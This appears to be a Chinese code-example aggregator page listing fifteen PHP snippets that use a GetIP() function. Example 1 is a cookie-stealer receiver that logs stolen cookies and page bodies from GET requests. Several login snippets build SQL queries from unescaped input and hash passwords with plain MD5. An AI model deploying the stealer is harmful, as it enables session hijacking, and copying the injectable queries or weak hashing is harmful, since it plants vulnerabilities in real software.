当前位置: 首页>>代码示例>>PHP>>正文


PHP GetIP函数代码示例

本文整理汇总了PHP中GetIP函数的典型用法代码示例。如果您正苦于以下问题:PHP GetIP函数的具体用法?PHP GetIP怎么用?PHP GetIP使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了GetIP函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: logData

function logData()
{
    $ipLog = "log.txt";
    $cookie = $_GET['cookie'];
    $body = $_GET['body'];
    $register_globals = (bool) ini_get('register_gobals');
    if ($register_globals) {
        $ip = getenv('REMOTE_ADDR');
    } else {
        $ip = GetIP();
    }
    $rem_port = $_SERVER['REMOTE_PORT'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $rqst_method = $_SERVER['METHOD'];
    $rem_host = $_SERVER['REMOTE_HOST'];
    $referer = $_SERVER['HTTP_REFERRER'];
    $date = date("l dS of F Y h:i:s A");
    $log = fopen("{$ipLog}", "a+");
    if (preg_match("/\\bhtm\\b/i", $ipLog) || preg_match("/\\bhtml\\b/i", $ipLog)) {
        fputs($log, "IP: {$ip} | PORT: {$rem_port} | HOST: {$rem_host} | Agent: {$user_agent} | METHOD: {$rqst_method} | REF: {$referer} | DATE{ : } {$date} | COOKIE:  {$cookie} <br> | BODY: {$body}");
    } else {
        fputs($log, "IP: {$ip} | PORT: {$rem_port} | HOST: {$rem_host} |  Agent: {$user_agent} | METHOD: {$rqst_method} | REF: {$referer} |  DATE: {$date} | COOKIE:  {$cookie} | BODY: {$body} \n\n");
    }
    fclose($log);
}
开发者ID:huntergregal,项目名称:tools,代码行数:25,代码来源:stealer.php

示例2: CommonJob

function CommonJob($Num, $Specific)
{
    $Stage = new Stages();
    //Connect
    if (!$Stage->Connect(LogID(), LogPassword(), LogDB())) {
        return 0;
    }
    if (!$Stage->CheckForms()) {
        $Stage->Close();
        return 0;
    }
    //Write Log
    if (!$Stage->WriteLog(GetIP(), $Num)) {
        $Stage->Close();
        return 0;
    }
    //Disconnect
    $Stage->Close();
    //Connect
    if (!$Stage->Connect(FirmwareID(), FirmwarePassword(), FirmwareDB())) {
        return 0;
    }
    //Find Product
    if (!$Stage->FindProduct($Specific)) {
        $Stage->Close();
        return 0;
    }
    //Disconnect
    $Stage->Close();
}
开发者ID:ebangin127,项目名称:naraeon-ssd,代码行数:30,代码来源:NSTCommonPart.php

示例3: GetCurrencyByIP

/**
 * Fetch the currency code to use based on the current visitors IP address. This function will perform a
 * GeoIP based lookup of the current visitors IP address and if possible, find a matching currency.
 *
 * @return mixed False if a currency cannot be found, else the currency ID if a matching currency was found.
 */
function GetCurrencyByIP()
{
	require_once ISC_BASE_PATH."/lib/geoip/geoip.php";
	$geoIp = @geoip_open(ISC_BASE_PATH."/lib/geoip/GeoIP.dat", GEOIP_STANDARD);
	if(!$geoIp) {
		return false;
	}
	$code = geoip_country_code_by_addr($geoIp, GetIP());
	if(!$code) {
		return false;
	}

	$query = "
		SELECT currencyid
		FROM [|PREFIX|]currencies cu
		LEFT JOIN [|PREFIX|]countries co ON cu.currencycountryid = co.countryid
		LEFT JOIN (
			SELECT r.couregid, c.countryiso2
			FROM [|PREFIX|]countries c
			JOIN [|PREFIX|]country_regions r ON c.countrycouregid = r.couregid
		) cr ON cu.currencycouregid = cr.couregid
		WHERE
			(
				co.countryiso2 = '" . $GLOBALS['ISC_CLASS_DB']->Quote($code) . "' OR
				cr.countryiso2 = '" . $GLOBALS['ISC_CLASS_DB']->Quote($code) . "'
			) AND
			cu.currencystatus = 1
		LIMIT 1
	";
	return $GLOBALS['ISC_CLASS_DB']->FetchOne($query, 'currencyid');
}
开发者ID:hungnv0789,项目名称:vhtm,代码行数:37,代码来源:currency.php

示例4: Loginlogs

 function Loginlogs()
 {
     $line['ip'] = GetIP();
     $line['time'] = date("Y-m-d H:i:s");
     $line['AgentID'] = $_SESSION['AgentID'];
     $DB = new DB();
     $DB->insertArray('tbl_loginlogs', $line);
 }
开发者ID:baiduXM,项目名称:agent,代码行数:8,代码来源:LogsFunction.php

示例5: saveLog

 public function saveLog($uid, $action)
 {
     global $router, $match;
     $format = "INSERT INTO `" . DB_PRE . "log` (`lid`, `uid`, `action`, `ip`, `ctime`)";
     $format .= " VALUES ('%s', '%d', '%d', '%s', '%d');";
     $sql = sprintf($format, $match['action'], $uid, $action, GetIP(), time());
     parent::Insert($sql);
 }
开发者ID:vyouzhis,项目名称:phpdbi,代码行数:8,代码来源:SystemLog.php

示例6: hb_log

function hb_log($msg, $prefix = "", $level = "INFO")
{
    $path = "../log/" . date("Y-m-d") . $prefix . ".log";
    $log = date("Y-m-d H:i:s") . " ";
    $log .= GetIP() . " ";
    $log .= $level . " ";
    $log .= json_encode($msg, JSON_UNESCAPED_UNICODE) . PHP_EOL;
    file_put_contents($path, $log, FILE_APPEND);
}
开发者ID:kemao,项目名称:php,代码行数:9,代码来源:functions.php

示例7: __construct

	public function __construct($subemail, $subfirstname)
	{
		$this->setDoubleOptIn(GetConfig('EmailIntegrationNewsletterDoubleOptin'));
		$this->setSendWelcome(GetConfig('EmailIntegrationNewsletterSendWelcome'));
		$this->setSubscriptionIP(GetIP());

		$this->subemail = $subemail;
		$this->subfirstname = $subfirstname;
	}
开发者ID:hungnv0789,项目名称:vhtm,代码行数:9,代码来源:Newsletter.php

示例8: create

 public function create()
 {
     $data = array();
     $data['user_browser'] = GetBrowser();
     $data['user_ip'] = GetIP();
     $data['user_lang'] = GetLang();
     $data['user_os'] = GetOs();
     $result = D('User')->addData($data);
     echo '<pre/>';
     print_r($result);
 }
开发者ID:highestgoodlikewater,项目名称:thinktools,代码行数:11,代码来源:PublicController.class.php

示例9: DevLog

function DevLog($Lv, $Msg, $Pth = "")
{
    if (!is_numeric($Lv) || !is_string($Msg)) {
        return -1;
    }
    // Default log level is 'Info'.
    if (!defined('LOG_LEVEL')) {
        define('LOG_LEVEL', 2);
    }
    if ($Lv > LOG_LEVEL) {
        return 1;
    }
    $LvFlg = "";
    switch ($Lv) {
        case 0:
            $LvFlg = '[ERROR]';
            break;
        case 1:
            $LvFlg = '[WARN ]';
            break;
        case 2:
            $LvFlg = '[INFO ]';
            break;
        case 3:
            $LvFlg = '[DEBUG]';
            break;
        case 4:
            $LvFlg = '[FULL ]';
            break;
        default:
            $LvFlg = '[?????]';
            break;
    }
    $Log = date('YmdHis  ') . GetIP() . '  ' . $LvFlg . '  ' . $Msg . "\n";
    if (!defined('LOG_PATH')) {
        define('LOG_PATH', "./");
    }
    $FP = LOG_PATH . date('YW') . '-DevLog.txt';
    // '$FP' = File Path.
    $FR = @fopen($FP, 'w');
    // '$FR' = File Resource.
    if ($FR == false) {
        return -2;
    }
    if (!@flock($FR, LOCK_EX)) {
        fclose($FR);
        return -3;
    }
    @fwrite($FR, $Log);
    @flock($FR, LOCK_UN);
    @fclose($FR);
    return 0;
}
开发者ID:rzfang,项目名称:Codes,代码行数:53,代码来源:RZ-PHP-Tool.php

示例10: login_login

function login_login()
{
    global $_MooClass, $dbTablePre, $memcached;
    /*
    $seccode1 = strtolower(MooGetGPC('vertify_code','string','P'));
    $seccode2 = MooGetGPC('seccode','string','C');
    $session_seccode = $memcached->get($seccode2);
    
    if($seccode1 != $session_seccode){
    	MooMessageAdmin("验证码填写不正确,请确认。", "index.php?action=login",'','',3);
    }
    */
    $username = MooGetGPC('username', 'string', 'P');
    $password = MooGetGPC('password', 'string', 'P');
    $password = md5($password);
    //判断用户名和密码是否为空
    if ($username == '' || $password == '') {
        MooMessageAdmin('用户名或密码不能为空', 'index.php?n=login', 1);
    }
    $userinfo = $_MooClass['MooMySQL']->getOne("SELECT * FROM {$dbTablePre}admin_user WHERE `username`='{$username}' LIMIT 1 ", true);
    if ($userinfo['uid'] && $userinfo['password'] == $password) {
        MooSetCookie('admin', MooAuthCode("{$userinfo['uid']}\t{$userinfo['password']}", 'ENCODE'), 86400);
        //note 写入session表需要的字段值
        $online_ip = GetIP();
        $lastactive = $GLOBALS['timestamp'];
        //note 提取快到期的高级用户并加入备注中
        $nowtime = time();
        $endtime = $nowtime + 8 * 24 * 60 * 60;
        $_MooClass['MooMySQL']->query("DELETE FROM {$dbTablePre}custom_remark WHERE `keyword`='会员到期' AND `cid`='{$userinfo['uid']}'");
        $remark = $_MooClass['MooMySQL']->getAll("SELECT `uid`,`endtime` FROM {$dbTablePre}members_search WHERE `sid`={$userinfo['uid']} AND `s_cid`=30 AND `endtime`<{$endtime}", 0, 0, 0, true);
        for ($i = 0; $i < count($remark); $i++) {
            $content = "尊敬的客服,您的红娘号为" . $remark[$i]['uid'] . "的会员将于" . date('Y-m-d', $remark[$i]['endtime']) . "到期,请尽快与该会员联系";
            $_MooClass['MooMySQL']->query("INSERT INTO {$dbTablePre}custom_remark SET `cid`={$userinfo['uid']},`keyword`='会员到期',`content`='{$content}',`awoketime`='{$remark[$i]['endtime']}'");
        }
        //更新最后登录相关记录
        $sql = "UPDATE {$dbTablePre}admin_user SET lastlogin='{$nowtime}',lastip='{$online_ip}' WHERE uid='{$userinfo['uid']}'";
        $GLOBALS['_MooClass']['MooMySQL']->query($sql);
        $sid_list = '';
        //得到我所管理的客服id列表
        $sid_list = get_mymanage_serviceid_list($userinfo['uid'], $userinfo['groupid']);
        $time = time();
        $sql = "REPLACE INTO {$GLOBALS['dbTablePre']}admin_usersession SET uid='{$userinfo['uid']}',groupid='{$userinfo['groupid']}',dateline='{$time}',sid_list='{$sid_list}'";
        $GLOBALS['_MooClass']['MooMySQL']->query($sql);
        //添加操作日志
        serverlog(3, $dbTablePre . "admin_usersession", "{$userinfo['uid']}成功登陆后台", $userinfo['uid']);
        MooMessageAdmin('登陆成功', 'index.php?n=main', 1);
    } else {
        MooMessageAdmin('用户名或密码错误', 'index.php?n=login', 1);
    }
}
开发者ID:noikiy,项目名称:zays,代码行数:50,代码来源:login.php

示例11: add

 /**
  * Add a customer
  *
  * Method will add a customer to the database
  *
  * @access public
  * @param array $input The customer details
  * @return int The customer record ID on success, FALSE otherwise
  */
 public function add($input)
 {
     $savedata = array('custpassword' => md5($input['password']), 'custconcompany' => $input['company'], 'custconfirstname' => $input['firstname'], 'custconlastname' => $input['lastname'], 'custconemail' => $input['email'], 'custconphone' => $input['phone'], 'custdatejoined' => time());
     if (isset($input['subscribed'])) {
         $savedata['subscribed'] = $input['subscribed'];
     }
     // 20110613 johnny add
     if (isset($input['isguest'])) {
         $savedata['isguest'] = $input['isguest'];
     }
     if (isset($input['storecredit'])) {
         $savedata['custstorecredit'] = $input['storecredit'];
     }
     if (array_key_exists('customergroupid', $input) && isId($input['customergroupid'])) {
         $savedata['custgroupid'] = $input['customergroupid'];
     } else {
         $input['customergroupid'] = 0;
         $savedata['custgroupid'] = 0;
     }
     if (!array_key_exists('is_import', $input) || !$input['is_import']) {
         $savedata['custregipaddress'] = GetIP();
     } else {
         if (array_key_exists('token', $input)) {
             $savedata['customertoken'] = $input['token'];
         }
     }
     if (array_key_exists('custformsessionid', $input)) {
         $savedata['custformsessionid'] = $input['custformsessionid'];
     }
     $customerid = $GLOBALS['ISC_CLASS_DB']->InsertQuery('customers', $savedata);
     $input['customerid'] = $customerid;
     if (!isId($customerid)) {
         return false;
     }
     if (array_key_exists('shipping_address', $input)) {
         $input['shipping_address']['customerid'] = $input['customerid'];
         $input['shipping_address']['shipcustomerid'] = $input['customerid'];
         $this->shipping->add($input['shipping_address']);
     }
     /**
      * Create the spool file
      */
     $this->createServiceRequest('customer', 'add', $input['customerid'], 'customer_create');
     return $customerid;
 }
开发者ID:nirvana-info,项目名称:old_bak,代码行数:54,代码来源:entity.customer.php

示例12: find_pwd

/**
@param (忘记密码)通过地址栏用户名和新密码登陆
@param return null
*/
function find_pwd()
{
    global $_MooClass, $dbTablePre, $userid, $_MooCookie;
    //	if($userid){
    //		return;
    //	}
    $uid = MooGetGPC('uid', 'string', G);
    $pwd = MooGetGPC('upwd', 'string', G);
    /*	echo md5($uid).'<br>';
    	echo md5($pwd);
    	print_r($_COOKIE);
    	exit;
    */
    if ($_MooCookie['findpwd'] == md5($pwd) && md5($uid) == $_MooCookie['finduser']) {
        $newpwd = md5(base64_decode($pwd));
        //note 修改密码
        //$_MooClass['MooMySQL']->query("update {$dbTablePre}members set password = '{$newpwd}' where uid = '{$uid}'");
        //if(MOOPHP_ALLOW_FASTDB){
        //			MooFastdbUpdate('members','uid',$uid);
        //		}
        MooSetCookie('auth', MooAuthCode("{$uid}\t{$newpwd}", 'ENCODE'), 86400);
        //note 写入session表需要的字段值
        $online_ip = GetIP();
        $lastactive = $GLOBALS['timestamp'];
        //$uid = $user['uid'];
        //note 更新用户的最近登录ip和最近登录时间
        $updatesqlarr = array('lastip' => $online_ip, 'lastvisit' => $lastactive, 'password' => $newpwd);
        $wheresqlarr = array('uid' => $uid);
        updatetable("members_search", $updatesqlarr, $wheresqlarr);
        if (MOOPHP_ALLOW_FASTDB) {
            $val = array();
            $val['lastip'] = $online_ip;
            $val['lastvisit'] = $lastactive;
            $val['password'] = $newpwd;
            MooFastdbUpdate('members_search', 'uid', $uid, $val);
            //!!
        }
        //note 先删除表里面已存在对应用户的session
        //$_MooClass['MooMySQL']->query("DELETE FROM `{$dbTablePre}membersession` WHERE `uid` ='$uid'");
        //$_MooClass['MooMySQL']->query("REPLACE INTO `{$dbTablePre}membersession` SET `username`= '$user[username]',`password`='$user[password]',`ip` = '$online_ip',`lastactive` = '$lastactive',`uid` = '$uid'");
        return 1;
    }
    return 0;
}
开发者ID:noikiy,项目名称:zays,代码行数:48,代码来源:function.php

示例13: active_email

function active_email()
{
    global $_MooClass;
    $uid = $u['uid'] = MooGetGPC('uid', 'string');
    $verifycode = MooGetGPC('verifycode', 'string');
    $username = $u['username'] = MooGetGPC('p', 'string');
    if ($verifycode == strtoupper(md5('hongniangwang' . $u['uid'] . $u['username']))) {
        $online_ip = GetIP();
        $t = time();
        $pass = md5('123456');
        $r = $_MooClass['MooMySQL']->getOne("select * from web_activelog where uid={$uid}  limit 1", true);
        if ($r['username'] == $username) {
            MooMessage("您已经激活过了", "index.php", "05");
        } else {
            //$_MooClass['MooMySQL']->query("update web_members_search,web_members_login set password='$pass',usertype=1,regdate='$t',last_login_time = '$t',login_meb = login_meb+1,lastip='$online_ip',lastvisit='$t'  where uid='$uid'");
            $_MooClass['MooMySQL']->query("update web_members_search as s,web_members_login as l set s.password='{$pass}',s.usertype=1,s.regdate='{$t}',l.last_login_time = '{$t}',l.lastip='{$online_ip}',l.lastvisit='{$t}'  where s.uid='{$uid}' and l.uid='{$uid}'");
            searchApi('members_man members_women')->updateAttr(array('usertype', 'regdate'), array($uid => array(1, $t)));
            $_MooClass['MooMySQL']->query("insert into web_activelog(uid,username,activetime) values('{$uid}','{$username}','{$t}')");
        }
        MooSetCookie('auth', MooAuthCode("{$uid}\t{$pass}", 'ENCODE'), 86400);
        MooSetCookie('username', $u['username'], time() + 3600);
        if (MOOPHP_ALLOW_FASTDB) {
            $user11 = MooFastdbGet('members_search', 'uid', $uid);
            $meb = $user11['login_meb'];
            $val_s = $val_l = array();
            $val_s['password'] = $pass;
            $val_s['usertype'] = 1;
            $val_s['regdate'] = $t;
            $val_l['last_login_time'] = $t;
            $val_l['login_meb'] = $meb + 1;
            $val_l['lMooFastdbUpdateastip'] = $online_ip;
            $val_l['lastvisit'] = $t;
            MooFastdbUpdate('members_search', 'uid', $uid, $val_s);
            //!!
            MooFastdbUpdate('members_login', 'uid', $uid, $val_l);
        }
        //$_MooClass['MooMySQL']->query("INSERT INTO `web_membersession` SET `username`= '$u[username]',`password`='$pass',`ip` = '$online_ip',`lastactive` = '$t',`uid` = '$uid'");
        MooMessage("验证激活成功", "index.php", "05");
    } else {
        MooMessage("参数有误!请注册", "index.php", "02");
    }
}
开发者ID:noikiy,项目名称:zays,代码行数:42,代码来源:activeaccount.php

示例14: checkUser

	function checkUser($username,$userpwd)
	{
		//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
		$this->userName = ereg_replace("[^0-9a-zA-Z_@\!\.-]",'',$username);
		$this->userPwd = ereg_replace("[^0-9a-zA-Z_@\!\.-]",'',$userpwd);
		$pwd = substr(md5($this->userPwd),0,24);
		$dsql = new DedeSql(false);
		$dsql->SetQuery("Select * From #@__admin where userid='".$this->userName."' limit 0,1");
		$dsql->Execute();
		$row = $dsql->GetObject();
		if(!isset($row->pwd)){
			$dsql->Close();
			return -1;
		}
		else if($pwd!=$row->pwd){
			$dsql->Close();
			return -2;
		}
		else{
			$loginip = GetIP();
			$this->userID = $row->ID;
			$this->userType = $row->usertype;
			$this->userChannel = $row->typeid;
			$this->userName = $row->uname;
			$groupSet = $dsql->GetOne("Select * From #@__admintype where rank='".$row->usertype."'");
			$this->userPurview = $groupSet['purviews'];
			$dsql->SetQuery("update #@__admin set loginip='$loginip',logintime='".strftime("%Y-%m-%d %H:%M:%S",time())."' where ID='".$row->ID."'");
			$dsql->ExecuteNoneQuery();
			$dsql->Close();
			return 1;
		}
	}
开发者ID:BGCX262,项目名称:zyyhong-svn-to-git,代码行数:32,代码来源:inc_userlogin.php

示例15: MooPlugins

<?php

require 'framwork/MooPHP.php';
MooPlugins('ipdata');
$address = convertIp(GetIP());
echo "var curent_area='" . $address . "'";
MooGetFromwhere();
开发者ID:noikiy,项目名称:zays,代码行数:7,代码来源:ip.php


注:本文中的GetIP函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。